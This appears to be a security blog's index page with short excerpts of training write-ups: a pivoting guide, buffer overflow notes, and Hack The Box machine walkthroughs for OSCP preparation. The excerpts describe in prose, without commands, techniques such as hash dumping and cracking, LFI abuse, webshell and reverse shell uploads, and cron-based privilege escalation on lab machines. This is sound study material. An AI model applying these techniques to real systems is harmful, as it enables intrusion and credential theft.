Pivoting and port forwarding guide
This is notes taken from the THM room ‘Wreath’, which is a great room for learning Active Directory and pivoting. https://www.tryhackme.com/room/wreath And from other sources. Summary What is pivoting? Pivoting is the art of using access obtained over one machine to exploit another machine deeper in the network. It is one of the most essential…

TJ_Null’s OSCP Prep – HTB – Bastion
On this Windows machine there was a SMB share that had two VHDs that we could remotly mount. The VHDs looked like a backup of a Windows. Using secretsdump we could dump the hash from from the /system32/config, and get the hash for users. Using john the ripper, I cracked the hash for L4mpje. After…

TJ_Null’s OSCP Prep – HTB – Tabby
On this Linux machine I abused LFI to find the password for admin panel for Tomcat. From there I used CLI to upload .WAR file to get a reverse shell. In /var/www there was a zip file which was password protected. Cracking the password using John, we find the credentials for the user Ash. From…
TJ_Null’s OSCP Prep – HTB – FriendZone
This Linux machine had a PHP page with LFI vulnerability. To upload a webshell I used SMB. From there we find credentials from a database config file. To root the machine I added a reverse shell to a writeable python module which was called upon by a python script run by root in cronjob. Enumeration…
TJ_Null’s OSCP Prep – HTB – Sunday
On this Solaris machine we used finger to enumerate users. We then guessed the password for the enumerated user to get SSH access. From there we escalated our privilege to Sammy through a shadow file we had access to. I cracked the password and as able to SU to Sammy. Sammy was able to run…
Buffer Overflow – Notes and cheatsheet
Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory…
TJ_Null’s OSCP Prep – HTB – Buff
On this Windows machine I exploited a Gym Management System to get remote code execution. After enumerating the machine there was a port, 8888, listening on localhost. Looking at the processes we find that its running CloudMe. I’ll use chisel to tunnel traffic from my machine to the target. In the the users download folder…
TJ_Null’s OSCP Prep – HTB – Poison
On this linux box I used a LFI vulnerability in the webserver to get a users password which was encoded 13 times with base64. After finding the password, we read /etc/password and found a username charix. Using that username and password I SSH into the machine. In Charix folder there was a secret.zip. After enumerating…
